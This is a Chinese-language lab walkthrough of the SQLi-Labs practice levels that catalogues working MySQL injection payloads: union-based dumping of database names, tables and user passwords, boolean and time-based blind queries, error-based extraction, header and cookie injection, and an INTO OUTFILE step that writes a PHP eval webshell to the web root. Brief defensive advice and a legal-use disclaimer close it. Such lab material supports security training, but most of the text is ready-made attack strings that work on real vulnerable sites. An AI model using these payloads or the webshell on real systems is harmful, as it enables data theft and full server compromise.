SQLi_Labs-2.Basic Challenges
字数 1260 2025-08-11 17:40:05
SQL注入实战教学:SQLi-Labs基础挑战详解
1. 基础注入技术
1.1 单引号闭合注入 (Less-1)
特征:输入单引号(')后出现SQL语法错误
注入步骤:
- 确定列数:
1' order by 3%23 - 获取数据库名:
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23 - 获取表名:
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23 - 获取列名:
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23 - 获取数据:
-1' union select 1,username,password from users where id=3%23
1.2 数字型注入 (Less-2)
特征:参数直接作为数字使用,无需引号闭合
注入方法:
-1 or 1=1%23
1.3 括号+单引号闭合 (Less-3)
特征:SQL语句使用单引号和括号包裹参数
注入方法:
-1') or 1=1%23
1.4 双引号闭合 (Less-4)
特征:参数使用双引号包裹
注入方法:
-1") or 1=1%23
2. 盲注技术
2.1 布尔盲注 (Less-5)
特征:无直接回显,但可通过页面响应差异判断
注入方法:
- 使用left()函数:
1' and left(version(),1)=5%23 - 使用substr()和ascii():
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23 - 使用regexp():
1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)%23
2.2 时间盲注 (Less-8/9/10)
特征:无任何回显差异,只能通过响应时间判断
注入方法:
1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+
3. 报错注入技术
3.1 count()+rand()+group by报错
1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
3.2 exp报错
1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
3.3 bigint溢出报错
1' union select (!(select * from (select user())x)- ~0),2,3--+
3.4 xpath报错
1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
4. 文件导出技术 (Less-7)
步骤:
- 获取绝对路径:
1' and updatexml(1,concat(0x7e,(select @@datadir),0x7e),1)--+ - 导出数据到文件:
1'))UNION SELECT 1,2,3 into outfile "c:\wamp\www\sqllib\Less-7\uuu.txt"%23 - 导出webshell:
1'))UNION SELECT 1,2,'<?php @eval($_post["mima"])?>' into outfile "c:\wamp\www\sqllib\Less-7\yijuhua.php"--+
5. 特殊场景注入
5.1 登录框注入 (Less-11/12)
1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#
5.2 Header头注入 (Less-18/19)
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
5.3 Cookie注入 (Less-20/21/22)
uname=' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
Base64编码版本:
JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAnMSc9JzE%3d
6. 实用函数总结
-
信息收集函数:
version()- 获取数据库版本database()- 获取当前数据库名user()- 获取当前用户
-
字符串处理函数:
left(str,length)- 从左截取字符串substr(str,start,length)- 截取子字符串concat(str1,str2,...)- 连接字符串group_concat()- 将多行结果合并为一行
-
类型转换函数:
ascii(char)- 获取字符ASCII码ord(char)- 同ascii()cast(expr as type)- 类型转换
-
条件判断函数:
if(condition,true_expr,false_expr)- 条件判断sleep(seconds)- 延时函数
-
报错相关函数:
updatexml()- XML处理函数(用于报错注入)extractvalue()- XML处理函数(用于报错注入)floor(rand()*2)- 配合group by用于报错注入
7. 防御建议
- 使用参数化查询(预处理语句)
- 对输入进行严格的过滤和验证
- 最小权限原则,限制数据库用户权限
- 关闭错误回显
- 使用WAF等防护设备
- 定期更新和修补系统漏洞
通过本教程,您应该掌握了从基础到进阶的各种SQL注入技术。请仅将这些知识用于合法的安全测试和防御目的。